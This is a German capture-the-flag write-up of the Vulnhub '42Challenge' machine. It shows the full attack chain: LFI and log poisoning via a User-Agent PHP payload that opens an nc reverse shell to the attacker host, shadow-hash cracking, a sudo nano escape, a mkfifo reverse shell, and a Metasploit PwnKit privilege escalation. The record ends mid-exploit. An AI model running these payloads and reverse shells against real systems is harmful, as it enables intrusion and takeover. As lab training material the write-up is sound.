42Challenge - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb

Inhaltsverzeichnis

Reconnaissance

Wir starten mit einer Aufklärung, um das Netzwerk zu erkunden und mögliche Schwachstellen zu identifizieren. Dies ist ein wichtiger erster Schritt, um ein umfassendes Bild der Sicherheitslage zu erhalten.
┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.123 08:00:27:81:7f:cd PCS Systemtechnik GmbH
Hier überprüfen wir die ARP-Tabelle, um aktive Hosts im lokalen Netzwerk zu finden. Die Ausgabe zeigt, dass sich ein Gerät mit der IP-Adresse 192.168.2.123 im Netzwerk befindet.
┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
127.0.0.1 localhost
192.168.2.123 chall.vln
Wir fügen einen Eintrag in die `/etc/hosts`-Datei hinzu, um den Hostnamen `chall.vln` der IP-Adresse 192.168.2.123 zuzuordnen. Dies erleichtert die nachfolgende Analyse, da wir den Hostnamen anstelle der IP-Adresse verwenden können.
Nachdem wir die grundlegende Aufklärung abgeschlossen haben, wenden wir uns der Web-Enumeration zu, um spezifische Schwachstellen im Webserver zu identifizieren.

Web Enumeration

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.123 -p- | grep open
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
Wir führen einen ersten Nmap-Scan durch, um offene Ports zu identifizieren. Die Ergebnisse zeigen, dass SSH (Port 22) und HTTP (Port 80) offen sind.
┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.123 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-01 22:35 CET
Nmap scan report for 42Challenge (192.168.2.123)
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94:8a:b4:a8:28:76:56:ce:49:d6:d5:6c:11:e5:38:dd (RSA)
| 256 8c:f7:82:be:14:11:01:cd:d3:07:3b:87:6b:b7:fd:4c (ECDSA)
|_ 256 45:56:fc:1d:10:a9:62:6f:4f:ae:66:36:aa:86:d2:e9 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Ip Pinger
MAC Address: 08:00:27:81:7F:CD (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.13 ms 42Challenge (192.168.2.123)
Wir führen einen detaillierteren Nmap-Scan durch, um die Versionen der laufenden Dienste und das Betriebssystem zu ermitteln. Wir sehen, dass es sich um einen Ubuntu-Server mit OpenSSH 7.6p1 und Nginx 1.14.0 handelt. Der HTTP-Titel lautet "Ip Pinger".
┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://chall.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://chall.vln/index.php (Status: 200) [Size: 787]
http://chall.vln/flag.txt (Status: 200) [Size: 55]
http://chall.vln/logs (Status: 301) [Size: 194] [--> http://chall.vln/logs/]
Wir verwenden Gobuster, um nach versteckten Dateien und Verzeichnissen zu suchen. Wir finden die Dateien `index.php`, `flag.txt` und das Verzeichnis `logs`.
http://chall.vln/flag.txt
42challenge{www-data_d009633c1bea90aef338fae768aec8fd}
Wir besuchen die Datei `flag.txt` und finden eine erste Flag.
view-source:http://chall.vln/index.php
Ip Pinger
Please, type a target ip to make a ping:
Make a ping
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
if (urlParams.get("log"))
{
const file = urlParams.get('log')
if (file.includes('logs/') && file.includes('.log'))
{
var correct_logfile = 1;
} else {
var correct_logfile = 0;
}
if (correct_logfile 0)
{
alert("Sorry, you are not allowed to read this file.");
window.loccation.replace("index.php");
}
}


Wir betrachten den Quellcode von `index.php`. Wir sehen, dass ein Parameter `log` existiert, der möglicherweise anfällig für Local File Inclusion (LFI) ist, aber es gibt eine Client-seitige Überprüfung (JavaScript), die versucht, den Zugriff auf beliebige Dateien zu verhindern.
┌──(root㉿cyber)-[~]
└─# curl http://chall.vln/index.php?log=../../../../etc/passwd
Ip Pinger
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
... (gekürzt) ...
Wir umgehen die Client-seitige Überprüfung, indem wir eine direkte Anfrage mit `curl` senden und die `/etc/passwd`-Datei auslesen. Dies bestätigt, dass eine LFI-Schwachstelle vorhanden ist.
┌──(root㉿cyber)-[~]
└─# curl http://chall.vln/index.php?log=../../../../etc/os-release
NAME="Ubuntu"
VERSIN="18.04.4 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.4 LTS"
VERSIN_ID="18.04"
HME_URL="https://www.ubuntu.com/"
SUPPRT_URL="https://help.ubuntu.com/"
BUG_REPRT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_PLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSIN_CDENAME=bionic
UBUNTU_CDENAME=bionic
Wir lesen die `/etc/os-release`-Datei aus, um die genaue Version des Betriebssystems zu ermitteln. Es handelt sich um Ubuntu 18.04.4 LTS (Bionic Beaver).
┌──(root㉿cyber)-[~]
└─# curl http://chall.vln/index.php?log=php://filter/convert.base64-encode/resource=index.php
PD9waHAKaWYoaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkpCgl7CgkJaWYgKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXSkpIHsKICAgIAkJCSRpcCA9ICRfU0VSVkVSWydIVFRQX0NMSUVUF9JUCddwoJCX0gZWxzZWlmICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pKSB7CgkJCSRpcCA9ICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddwoJCX0gZWxzZSB7CiAgICAJCQkkaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCQl9CgkJJHRhcmdldCA9ICRfUE9TVFsnaXAnXTsKCQkkdGFyamV0ID0gc3RyX3JlcGxhY2UoYXJyYXkoIjw/IiwgIj8+IiwgIjsiLCAiJiIsICJ8IiwgIigiLCAiKSIsICInIiwgIlwiIiksICIiLCAkdGFyamV0KTsKICAgIAkJc3lzdGVtKCJwaW5nICIgLiAkdGFyamV0IC4gIiAtYzMgPiBsb2dzLyIgLiAkaXAgLiAiLmxvZyIpwoJCWhlYWRlcigiTG9jYXRpb246IGluZGV4LnBocD9sb2c9bG9ncy8iIC4gJGlwIC4gIi5sb2ciKTsKCX0KPz4KPGh0bWw+Cgk8aGVhZD4KCQk8dGl0bGU+SXAgUGluZ2VyPC90aXRsZT4KCTwvaGVhZD4KCTxib2R5PgoJCTxoND5QbGVhc2UsIHR5cGUgYSB0YXJnZXQgaXAgdG8gbWFrZSBhIHBpbmc6PC9oND4KCQk8Zm9ybSBuYW1lPSJnZXRfbG9nIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTsgPz4iID4KCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlwIj4KICAgCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iTWFrZSBhIHBpbmciPjxicj4KCQk8L2Zvcm0+CgkJPHNjcmlwdD4KCQkJY29uc3QgcXVlcnlTdHJpbmcgPSB3aW5kb3cubG9jYXRpb24uc2VhcmNowoJCQljb25zdCB1cmxQYXJhbXMgPSBuZXcgVVJMU2VhcmNoUGFyYW1zKHF1ZXJ5U3RyaW5nKTsKCQkJaWYgKHVybFBhcmFtcy5nZXQoImxvZyIpKQoJCQl7CgkJCQljb25zdCBmaWxlID0gdXJsUGFyYW1zLmdldCgnbG9nJykKCQkJCWlmIChmaWxlLmluY2x1ZGVzKCdsb2dzLycpICYmIGZpbGUuaW5jbHVkZXMoJy5sb2cnKSkKCQkJCXsKCQkJCQl2YXIgY29ycmVjdF9sb2dmaWxlID0gMTsKCQkJCX0gZWxzZSB7CgkJCQkJdmFyIGNvcnJlY3RfbG9nZmlsZSA9IDA7CgkJCQl9CgkJCQlpZiAoY29ycmVjdF9sb2dmaWxlID09IDApCgkJCQl7CgkJCQkJYWxlcnQoIlNvcnJ5LCB5b3UgYXJlIG5vdCBhbGxvd2VkIHRvIHJlYWQgdGhpcyBmaWxlLiIpwoJCQkJCXdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCJpbmRleC5waHAiKTsKCQkJCX0KCQkJfQoJCTwvc2NyaXB0PgoJPD9waHAKCQlpZiAoaXNzZXQoJF9HRVRbJ2xvZyddKSkKCQl7CgkJCWluY2x1ZGUgKCRfR0VUWydsb2cnXSk7CgkJfQoJPz4KCTwvYm9keT4KPC9odG1sPgo=
Wir verwenden den `php://filter`-Wrapper, um den Quellcode von `index.php` base64-kodiert auszulesen. Dies ermöglicht es uns, den Code zu analysieren, ohne dass er ausgeführt wird.
if(isset($_PST['submit']))
{
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FRWARDED_FR'])) {
$ip = $_SERVER['HTTP_X_FRWARDED_FR'];
} else {
$ip = $_SERVER['REMTE_ADDR'];
}
$tarjet = $_PST['ip'];
$tarjet = str_replace(array("", ";", "&", "|", "(", ")", "'", "\""), "", $tarjet);
system("ping " . $tarjet . " -c3 > logs/" . $ip . ".log");
header("Location: index.php?log=logs/" . $ip . ".log");
}

if (isset($GET['log']))
{
include ($GET['log']);
}
Wir analysieren den PHP-Code. Wir sehen, dass die Anwendung einen Ping-Befehl ausführt und die Ausgabe in einer Logdatei speichert. Es gibt eine serverseitige Überprüfung des `log`-Parameters, aber keine ausreichende Bereinigung der Eingabe.
┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://chall.vln/index.php?log=FUZZ" --hc 404 --hh 787
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against penssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

Target: http://chall.vln/index.php?log=FUZZ
Total requests: 2894

=
ID Response Lines Word Chars Payload
=

000000065: 500 29 L 82 W 770 Ch "/var/log/nginx/access.log"
000000064: 200 15827 492400 W 4561572 C "/var/log/nginx/error.log"
L h
000000081: 200 78 L 161 W 3466 Ch "/etc/passwd"
000001093: 200 258 L 1199 W 8011 Ch "/etc/apache2/apache2.conf"
... (gekürzt) ...
Wir fuzzen mit einer Wortliste nach Logdateien, um weitere interessante Dateien zu entdecken. Die Ergebnisse zeigen, dass wir auf verschiedene Konfigurationsdateien und Logdateien zugreifen können.
┌──(root㉿cyber)-[~]
└─# curl "http://chall.vln/index.php?log=../../../../../var/log/nginx/error.log"
PHP message: PHP Warning: include(): Failed opening '/log' for inclusion (include_path='.:/usr/share/php') in /var/www/html/index.php on line 49" while reading response header from upstream, client: 192.168.2.199, server: _, request: "GET /index.php?log=/log HTTP/1.1", upstream: "fastcgi://unix:/var/run/php/php7.1-fpm.sock:", host: "chall.vln"
2023/12/01 23:33:43 [error] 748#748: *65450 FastCGI sent in stderr: "PHP message: PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 134217728 bytes) in /var/www/html/index.php on line 49" while reading response header from upstream, client: 192.168.2.199, server: _, request: "GET /index.php?log=/var/log/nginx/access.log HTTP/1.1", upstream: "fastcgi://unix:/var/run/php/php7.1-fpm.sock:", host: "chall.vln"
... (gekürzt) ...
Wir versuchen, die Nginx-Error-Logdatei auszulesen. Die Ausgabe zeigt PHP-Fehlermeldungen, was auf weitere mögliche Angriffspunkte hindeuten könnte.
┌──(root㉿cyber)-[~]
└─# curl "http://chall.vln/index.php?log=../../../../../etc/nginx/sites-enabled/default"
# Virtual Host configuration for example.com
#
# You can move that to a different file under sites-available/ and symlink that
# to sites-enabled/ to enable it.
#
#server {
# listen 80;
# listen []:80;
#
# server_name example.com;
#
# root /var/www/example.com;
# index index.html;
#
# location / {
# try_files $uri $uri/ =404;
# }
#}
Wir lesen die Nginx-Konfigurationsdatei aus. Dies kann uns helfen, die Struktur des Webservers besser zu verstehen.
┌──(root㉿cyber)-[~]
└─# curl "http://chall.vln/index.php?log=../../../../../etc/hosts"
127.0.0.1 localhost
127.0.1.1 42Challenge

# The following lines are desirable for IPv6 capable hosts
1 ip6-localhost ip6-loopback
fe000 ip6-localnet
ff000 ip6-mcastprefix
ff021 ip6-allnodes
ff022 ip6-allrouters


marvinthemartian
Wir lesen die `/etc/hosts`-Datei aus. Hier sehen wir den Hostnamen und den Benutzernamen "marvinthemartian".
curl -A "<=system('nc -nv 192.168.2.199 4444 -e /bin/bash'); >"
Wir versuchen, eine Reverse Shell über den User-Agent-Header einzuschleusen.
┌──(root㉿cyber)-[~]
└─# curl http://chall.vln/index.php?log=/../../../../var/log/nginx/access.log
192.168.2.199 - - [02/Dec/2023:00:01:10 +0100] "GET /index.php?log=/../../../../var/log/nginx/access.log HTTP/1.1" 200 799 "-" "curl/8.4.0"
192.168.2.199 - - [02/Dec/2023:00:02:07 +0100] "GET /index.php?log=/../../../../var/log/nginx/access.log HTTP/1.1" 200 939 "-" "curl/8.4.0"
Wir versuchen, die Access-Logdatei einzubinden, um die Reverse Shell-Versuche zu protokollieren.
┌──(root㉿cyber)-[~]
└─# ssh ''@192.168.2.123
Wir versuchen, Code über den SSH-Benutzernamen einzuschleusen.
┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
Wir starten einen Netcat-Listener auf unserem Angriffssystem.
┌──(root㉿cyber)-[~]
└─# curl -A "php system('nc -e /bin/bash 192.168.2.199 5555'); " http://192.168.2.123/index.php
┌──(root㉿cyber)-[~]
└─# sudo nc -nlvp 5555
[sudo] password for kali:
listening on [any] 5555 ...
connect to [192.168.2.123] from (UNKNWN) [192.168.56.243] 37042
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Wir erhalten eine Reverse Shell als Benutzer "www-data".
www-data@42Challenge:/var/backups$ cat shadow_backup.bak
cat shadow_backup.bak
root:$6$nGvBJ7Ph$jqHgNPRgfT4/lLkPMXMB0WnD9bmrTXMhjXm2YmlKTU3G/nn5MVZ93Xi4EwX9TwP.zFwM/CUJ11wxC/whIdF/:18319:0:99999:7:
daemon:*:18295:0:99999:7:
bin:*:18295:0:99999:7:
Wir finden eine Backup-Datei der Shadow-Datei. Diese enthält möglicherweise Hashwerte der Benutzerpasswörter.
┌──(root㉿cyber)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt shadow_backup.bak
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

marvinthemartian (marvin)
Mit John the Ripper cracken wir den Hash des Benutzers "marvin" und erhalten das Passwort marvin.
┌──(root㉿cyber)-[~]
└─# ssh marvin@192.168.2.123
marvin@192.168.2.123's password:

:dMMMMMMMMd: oMMMMMMMdyMMMMMMMMM
/mMMMMMMMNh- oMMMh: +MMMMMMMMM
+mMMMMMMMNy- -- .yMMMMMMMMm
.+mMMMMMMMNs- .oNMMMMMMMd/
.omMMMMMMMmo. -sNMMMMMMMh/ .
MMMMMMMMMMMMMMMMMMMMMMMMMMMm oMMMMMMMMN -sN
MMMMMMMMMMMMMMMMMMMMMMMMMMMN oMMMMMMMMN -yNMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMN oMMMMMMMMN -yNMMMM
yyyyyyyyyyyyyyyyyyNMMMMMMMMN oMMMMMMMMN:hNMMMMMM
mMMMMMMMMN -ooooooooo+oooooooo
mMMMMMMMMN
mMMMMMMMMN
mMMMMMMMMN

Welcome to the 42Challenge

Last login: Tue Apr 14 12:43:13 2020 from 192.168.1.91
marvin@42Challenge$
Wir melden uns via SSH als Benutzer "marvin" an.
git clone https://github.com/longld/peda.git ~/peda
3dF_s6Pcj$mrE_Zz

#
Wir sehen den Hinweis auf ein Passwort.
marvin@42Challenge$ cd /usr/bin/
marvin@42Challenge:/usr/bin$ Lucas_Access
Welcome to the Lucas access system.

Please, type the password:
3dF_s6Pcj$mrE_Zz

Welcome Lucas!, I'm happy to see you again :D
Wir führen das Programm `Lucas_Access` aus und geben das gefundene Passwort ein. Wir erhalten Zugriff als Benutzer "lucas".
lucas@42Challenge:/usr/bin$ find / -perm -4000 -ls 2>/dev/null
786490 32 -rwsr-xr-x 1 root root 30800 ago 11 2016 /bin/fusermount
786611 28 -rwsr-xr-x 1 root root 26696 ene 8 2020 /bin/umount
786591 44 -rwsr-xr-x 1 root root 44664 mar 22 2019 /bin/su
786526 44 -rwsr-xr-x 1 root root 43088 ene 8 2020 /bin/mount
786563 64 -rwsr-xr-x 1 root root 64424 jun 28 2019 /bin/ping
787070 76 -rwsr-xr-x 1 root root 75824 mar 22 2019 /usr/bin/gpasswd
787929 148 -rwsr-xr-x 1 root root 149080 ene 31 2020 /usr/bin/sudo
788389 16 -rwsr-sr-x 1 lucas lucas 12864 feb 29 2020 /usr/bin/Lucas_Access
787983 20 -rwsr-xr-x 1 root root 18448 jun 28 2019 /usr/bin/traceroute6.iputils
787596 24 -rwsr-xr-x 1 root root 22520 mar 27 2019 /usr/bin/pkexec
787490 60 -rwsr-xr-x 1 root root 59640 mar 22 2019 /usr/bin/passwd
787432 40 -rwsr-xr-x 1 root root 40344 mar 22 2019 /usr/bin/newgrp
786814 44 -rwsr-xr-x 1 root root 44528 mar 22 2019 /usr/bin/chsh
786738 24 -rwsr-xr-x 1 root root 22528 jun 28 2019 /usr/bin/arping
786812 76 -rwsr-xr-x 1 root root 76496 mar 22 2019 /usr/bin/chfn
797241 108 -rwsr-sr-x 1 root root 109432 oct 30 2019 /usr/lib/snapd/snap-confine
789146 12 -rwsr-xr-x 1 root root 10232 mar 28 2017 /usr/lib/eject/dmcrypt-get-device
788845 44 -rwsr-xr-- 1 root messagebus 42992 jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
793502 16 -rwsr-xr-x 1 root root 14328 mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
798892 12 -rwsr-sr-x 1 root root 10232 dic 18 2019 /usr/lib/xorg/Xorg.wrap
793462 428 -rwsr-xr-x 1 root root 436552 mar 4 2019 /usr/lib/openssh/ssh-keysign
814359 376 -rwsr-xr-- 1 root dip 382696 feb 11 2020 /usr/sbin/pppd
55 43 -rwsr-xr-x 1 root root 43088 ene 8 2020 /snap/core18/1705/bin/mount
64 63 -rwsr-xr-x 1 root root 64424 jun 28 2019 /snap/core18/1705/bin/ping
80 44 -rwsr-xr-x 1 root root 44664 mar 22 2019 /snap/core18/1705/bin/su
98 27 -rwsr-xr-x 1 root root 26696 ene 8 2020 /snap/core18/1705/bin/umount
1731 75 -rwsr-xr-x 1 root root 76496 mar 22 2019 /snap/core18/1705/usr/bin/chfn
1733 44 -rwsr-xr-x 1 root root 44528 mar 22 2019 /snap/core18/1705/usr/bin/chsh
1784 75 -rwsr-xr-x 1 root root 75824 mar 22 2019 /snap/core18/1705/usr/bin/gpasswd
1848 40 -rwsr-xr-x 1 root root 40344 mar 22 2019 /snap/core18/1705/usr/bin/newgrp
1860 59 -rwsr-xr-x 1 root root 59640 mar 22 2019 /snap/core18/1705/usr/bin/passwd
1951 146 -rwsr-xr-x 1 root root 149080 ene 31 2020 /snap/core18/1705/usr/bin/sudo
2038 42 -rwsr-xr-- 1 root systemd-resolve 42992 jun 10 2019 /snap/core18/1705/usr/lib/dbus-1.0/dbus-daemon-launch-helper
2346 427 -rwsr-xr-x 1 root root 436552 mar 4 2019 /snap/core18/1705/usr/lib/openssh/ssh-keysign
55 43 -rwsr-xr-x 1 root root 43088 ago 23 2019 /snap/core18/1668/bin/mount
64 63 -rwsr-xr-x 1 root root 64424 jun 28 2019 /snap/core18/1668/bin/ping
80 44 -rwsr-xr-x 1 root root 44664 mar 22 2019 /snap/core18/1668/bin/su
98 27 -rwsr-xr-x 1 root root 26696 ago 23 2019 /snap/core18/1668/bin/umount
1730 75 -rwsr-xr-x 1 root root 76496 mar 22 2019 /snap/core18/1668/usr/bin/chfn
1732 44 -rwsr-xr-x 1 root root 44528 mar 22 2019 /snap/core18/1668/usr/bin/chsh
1782 75 -rwsr-xr-x 1 root root 75824 mar 22 2019 /snap/core18/1668/usr/bin/gpasswd
1846 40 -rwsr-xr-x 1 root root 40344 mar 22 2019 /snap/core18/1668/usr/bin/newgrp
1858 59 -rwsr-xr-x 1 root root 59640 mar 22 2019 /snap/core18/1668/usr/bin/passwd
1949 146 -rwsr-xr-x 1 root root 149080 oct 10 2019 /snap/core18/1668/usr/bin/sudo
2036 42 -rwsr-xr-- 1 root systemd-resolve 42992 jun 10 2019 /snap/core18/1668/usr/lib/dbus-1.0/dbus-daemon-launch-helper
2344 427 -rwsr-xr-x 1 root root 436552 mar 4 2019 /snap/core18/1668/usr/lib/openssh/ssh-keysign
66 40 -rwsr-xr-x 1 root root 40152 ene 27 2020 /snap/core/8935/bin/mount
80 44 -rwsr-xr-x 1 root root 44168 may 7 2014 /snap/core/8935/bin/ping
81 44 -rwsr-xr-x 1 root root 44680 may 7 2014 /snap/core/8935/bin/ping6
98 40 -rwsr-xr-x 1 root root 40128 mar 25 2019 /snap/core/8935/bin/su
116 27 -rwsr-xr-x 1 root root 27608 ene 27 2020 /snap/core/8935/bin/umount
2668 71 -rwsr-xr-x 1 root root 71824 mar 25 2019 /snap/core/8935/usr/bin/chfn
2670 40 -rwsr-xr-x 1 root root 40432 mar 25 2019 /snap/core/8935/usr/bin/chsh
2746 74 -rwsr-xr-x 1 root root 75304 mar 25 2019 /snap/core/8935/usr/bin/gpasswd
2838 39 -rwsr-xr-x 1 root root 39904 mar 25 2019 /snap/core/8935/usr/bin/newgrp
2851 53 -rwsr-xr-x 1 root root 54256 mar 25 2019 /snap/core/8935/usr/bin/passwd
2961 134 -rwsr-xr-x 1 root root 136808 ene 31 2020 /snap/core/8935/usr/bin/sudo
3060 42 -rwsr-xr-- 1 root systemd-resolve 42992 nov 29 2019 /snap/core/8935/usr/lib/dbus-1.0/dbus-daemon-launch-helper
3430 419 -rwsr-xr-x 1 root root 428240 mar 4 2019 /snap/core/8935/usr/lib/openssh/ssh-keysign
6468 109 -rwsr-xr-x 1 root root 110792 mar 21 2020 /snap/core/8935/usr/lib/snapd/snap-confine
7643 386 -rwsr-xr-- 1 root dip 394984 feb 11 2020 /snap/core/8935/usr/sbin/pppd
66 40 -rwsr-xr-x 1 root root 40152 ene 27 2020 /snap/core/8689/bin/mount
80 44 -rwsr-xr-x 1 root root 44168 may 7 2014 /snap/core/8689/bin/ping
81 44 -rwsr-xr-x 1 root root 44680 may 7 2014 /snap/core/8689/bin/ping6
98 40 -rwsr-xr-x 1 root root 40128 mar 25 2019 /snap/core/8689/bin/su
116 27 -rwsr-xr-x 1 root root 27608 ene 27 2020 /snap/core/8689/bin/umount
2666 71 -rwsr-xr-x 1 root root 71824 mar 25 2019 /snap/core/8689/usr/bin/chfn
2668 40 -rwsr-xr-x 1 root root 40432 mar 25 2019 /snap/core/8689/usr/bin/chsh
2744 74 -rwsr-xr-x 1 root root 75304 mar 25 2019 /snap/core/8689/usr/bin/gpasswd
2836 39 -rwsr-xr-x 1 root root 39904 mar 25 2019 /snap/core/8689/usr/bin/newgrp
2849 53 -rwsr-xr-x 1 root root 54256 mar 25 2019 /snap/core/8689/usr/bin/passwd
2959 134 -rwsr-xr-x 1 root root 136808 ene 31 2020 /snap/core/8689/usr/bin/sudo
3058 42 -rwsr-xr-- 1 root systemd-resolve 42992 nov 29 2019 /snap/core/8689/usr/lib/dbus-1.0/dbus-daemon-launch-helper
3428 419 -rwsr-xr-x 1 root root 428240 mar 4 2019 /snap/core/8689/usr/lib/openssh/ssh-keysign
6466 105 -rwsr-sr-x 1 root root 106696 feb 12 2020 /snap/core/8689/usr/lib/snapd/snap-confine
7640 386 -rwsr-xr-- 1 root dip 394984 jun 12 2018 /snap/core/8689/usr/sbin/pppd
Wir suchen nach SUID-Binärdateien.
lucas@42Challenge:/usr/bin$ sudo -l
Coincidiendo entradas por defecto para lucas en 42Challenge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

El usuario lucas puede ejecutar los siguientes comandos en 42Challenge:
(maria) NPASSWD: /bin/nano
Wir überprüfen die Sudo-Rechte des Benutzers "lucas". Er darf den Befehl `/bin/nano` als Benutzer "maria" ausführen.
Ejecutar la orden: reset; sh 1>&0 2>&0$
$
^C^C ayuda
$ ^X Leer fich.
$ ^Xancelar
M-F Nuevo búfer
sh: 3: : not found
id
uid=1002(maria) gid=1002(maria) groups=1002(maria)
Wir nutzen die Möglichkeit, `nano` als Benutzer "maria" auszuführen, um eine Shell zu starten und unsere Identität zu überprüfen.
bash
maria@42Challenge:/usr/bin$ cat flag.txt
cat: flag.txt: Permiso denegado
Wir versuchen, die `flag.txt` als Benutzer "maria" auszulesen, aber wir haben keine Berechtigung.
Privilege Escalation
Wir müssen weiterhin nach Möglichkeiten zur Privilegienerhöhung suchen.
┌──(root㉿cyber)-[~]
└─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > set lport 5566
lport => 5566
msf6 exploit(multi/handler) > run

[-] MsfptionValidateError The following options failed to validate: LHST
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.199:5566
Wir starten Metasploit und richten einen Handler für eine Reverse Shell ein.
maria@42Challenge$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5566 >/tmp/f
rm: no se puede borrar '/tmp/f': No existe el archivo o el directorio

[*] Command shell session 1 opened (192.168.2.199:5566 -> 192.168.2.123:57668) at 2023-12-02 00:40:48 +0100
Wir nutzen den Trick mit der Named Pipe, um eine Reverse Shell zu erhalten.
Shell Banner:
$
Wir haben eine interaktive Shell.
^Z
Background session 1? [y/N] y
msf6 exploit(multi/handler) >
Wir schicken die Shell in den Hintergrund.
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set lport 3333
lport => 3333
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:3333
[*] Sending stage (1017704 bytes) to 192.168.2.123
[*] Meterpreter session 2 opened (192.168.2.199:3333 -> 192.168.2.123:60622) at 2023-12-02 00:42:19 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
Wir migrieren zu einer Meterpreter-Sitzung.
msf6 post(multi/manage/shell_to_meterpreter) > search 4034
Matching Modules

# Name Disclosure Date Rank Check Description
- - - -- -- ---
0 auxiliary/scanner/http/dolibarr_16_contact_dump 2023-03-14 normal Yes Dolibarr 16 pre-auth contact database dump
1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec 2022-01-25 excellent Yes Local Privilege Escalation in polkits pkexec
2 exploit/windows/local/ms18_8120_win32k_privesc 2018-05-09 good No Windows SetImeInfoEx Win32k NULL Pointer Dereference


Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/local/ms18_8120_win32k_privesc
Wir suchen nach dem Exploit CVE-2021-4034 (PwnKit).
msf6 post(multi/manage/shell_to_meterpreter) > use 1
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 3335
lport => 3335
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[*] Started reverse TCP handler on 192.168.2.199:3335
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.ysmdgia
[+] The target is vulnerable.
[*] Writing '/tmp/.qoksmww/hkomfnwrou/hkomfnwrou.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.qoksmww
[*] Sending stage (3045380 bytes) to 192.168.2.123
[+] Deleted /tmp/.qoksmww/hkomfnwrou/hkomfnwrou.so
[+] Deleted /tmp/.qoksmww/.cfxrrylijhz
[+] Deleted /tmp/.qoksmww
